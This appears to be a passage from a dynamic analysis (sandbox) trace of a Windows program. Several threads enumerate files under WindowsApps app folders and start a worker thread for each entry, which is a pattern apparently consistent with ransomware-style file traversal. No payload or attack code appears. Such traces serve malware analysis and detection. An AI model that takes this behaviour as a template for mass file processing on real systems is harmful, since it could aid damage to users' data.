	[0078.923] wcscat (in: _Dest=0x47ebd98, _Source="Microsoft.People.Relevance.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd"
	[0078.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47ebd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec8
	[0078.924] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbd8a0611, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xfbac0b62, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xfbac0b62, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.924] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.924] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.924] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x47ebf78
	[0078.924] wcscpy (in: _Dest=0x47ebf78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.924] wcscat (in: _Dest=0x47ebf78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.924] wcscat (in: _Dest=0x47ebf78, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x47ebf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xecc
	[0078.925] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x294baca8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2950715f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2950715f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonPicture.UAP.dll", cAlternateFileName="")) returned 1
	[0078.925] wcscmp (_String1="PersonPicture.UAP.dll", _String2=".") returned 1
	[0078.925] wcscmp (_String1="PersonPicture.UAP.dll", _String2="..") returned 1
	[0078.925] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2950715f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2952d3b8, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2952d3b8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x400c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0078.925] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0078.925] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0078.925] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4770550
	[0078.925] wcscpy (in: _Dest=0x4770550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.925] wcscat (in: _Dest=0x4770550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.925] wcscat (in: _Dest=0x4770550, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0078.925] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4770550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed0
	[0078.926] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2952d3b8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29553616, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29553616, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.dll", cAlternateFileName="")) returned 1
	[0078.926] wcscmp (_String1="StoreRatingPromotion.dll", _String2=".") returned 1
	[0078.926] wcscmp (_String1="StoreRatingPromotion.dll", _String2="..") returned 1
	[0078.926] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29553616, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x29553616, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x29553616, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="StoreRatingPromotion.winmd", cAlternateFileName="")) returned 1
	[0078.926] wcscmp (_String1="StoreRatingPromotion.winmd", _String2=".") returned 1
	[0078.926] wcscmp (_String1="StoreRatingPromotion.winmd", _String2="..") returned 1
	[0078.926] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd8) returned 0x477f370
	[0078.926] wcscpy (in: _Dest=0x477f370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.926] wcscat (in: _Dest=0x477f370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.926] wcscat (in: _Dest=0x477f370, _Source="StoreRatingPromotion.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd"
	[0078.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed4
	[0078.927] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957986f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb25901, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2993daf0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEE", cAlternateFileName="")) returned 1
	[0078.927] wcscmp (_String1="TEE", _String2=".") returned 1
	[0078.927] wcscmp (_String1="TEE", _String2="..") returned 1
	[0078.927] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2ddc170
	[0078.927] wcscpy (in: _Dest=0x2ddc170, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.927] wcscat (in: _Dest=0x2ddc170, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.927] wcscat (in: _Dest=0x2ddc170, _Source="TEE" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\TEE"
	[0078.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2ddc170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xed8
	[0078.927] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9baa69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 1
	[0078.927] wcscmp (_String1="_Resources", _String2=".") returned 1
	[0078.928] wcscmp (_String1="_Resources", _String2="..") returned 1
	[0078.928] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4769a28
	[0078.928] wcscpy (in: _Dest=0x4769a28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe"
	[0078.928] wcscat (in: _Dest=0x4769a28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\"
	[0078.928] wcscat (in: _Dest=0x4769a28, _Source="_Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\_Resources"
	[0078.928] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4769a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xedc
	[0078.928] FindNextFileW (in: hFindFile=0x2dad1b8, lpFindFileData=0x2dbfac8 | out: lpFindFileData=0x2dbfac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x289369e5, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab9baa69, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x289369e5, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Resources", cAlternateFileName="_RESOU~1")) returned 0
	[0078.928] FindClose (in: hFindFile=0x2dad1b8 | out: hFindFile=0x2dad1b8) returned 1
	[0078.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbfac8) returned 1
	[0078.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61d10) returned 1
	[0078.929] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d619a0) returned 1

Thread:
	id = 276
	os_tid = 0xf8c

	[0076.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc4) returned 0x2d7ea28
	[0076.799] wcscpy (in: _Dest=0x2d7ea28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe"
	[0076.799] wcscat (in: _Dest=0x2d7ea28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\"
	[0076.799] wcscat (in: _Dest=0x2d7ea28, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\*"
	[0076.799] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbfd30
	[0076.799] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac06201d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dad778
	[0078.763] wcscmp (_String1=".", _String2=".") returned 0
	[0078.763] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac06201d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.763] wcscmp (_String1="..", _String2=".") returned 1
	[0078.763] wcscmp (_String1="..", _String2="..") returned 0
	[0078.763] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac278116, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac278116, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac278116, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0078.763] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0078.763] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0078.764] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x47eb9d8
	[0078.764] wcscpy (in: _Dest=0x47eb9d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe"
	[0078.764] wcscat (in: _Dest=0x47eb9d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.764] wcscat (in: _Dest=0x47eb9d8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0078.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eb9d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa48
	[0078.985] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08827b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb9e6bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xac08827b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0078.986] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0078.986] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0078.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4768288
	[0078.986] wcscpy (in: _Dest=0x4768288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe"
	[0078.986] wcscat (in: _Dest=0x4768288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.986] wcscat (in: _Dest=0x4768288, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0078.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4768288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf78
	[0078.986] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac278116, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xac278116, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xac278116, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0078.986] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0078.986] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0078.986] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eaad8
	[0078.987] wcscpy (in: _Dest=0x47eaad8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe"
	[0078.987] wcscat (in: _Dest=0x47eaad8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.987] wcscat (in: _Dest=0x47eaad8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0078.987] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eaad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf7c
	[0078.987] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0078.987] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0078.987] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0078.987] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x104) returned 0x2d62e78
	[0078.987] wcscpy (in: _Dest=0x2d62e78, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe"
	[0078.987] wcscat (in: _Dest=0x2d62e78, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\"
	[0078.987] wcscat (in: _Dest=0x2d62e78, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0078.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d62e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf80
	[0078.988] FindNextFileW (in: hFindFile=0x2dad778, lpFindFileData=0x2dbfd30 | out: lpFindFileData=0x2dbfd30*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbed30aaa, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbed30aaa, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbed30aaa, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0078.988] FindClose (in: hFindFile=0x2dad778 | out: hFindFile=0x2dad778) returned 1
	[0078.989] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dbfd30) returned 1
	[0078.989] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ea28) returned 1
	[0078.989] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53850) returned 1

Thread:
	id = 277
	os_tid = 0xfdc

	[0076.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4f489d8
	[0076.800] wcscpy (in: _Dest=0x4f489d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe"
	[0076.800] wcscat (in: _Dest=0x4f489d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\"
	[0076.800] wcscat (in: _Dest=0x4f489d8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe\\*"
	[0076.800] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dbff98
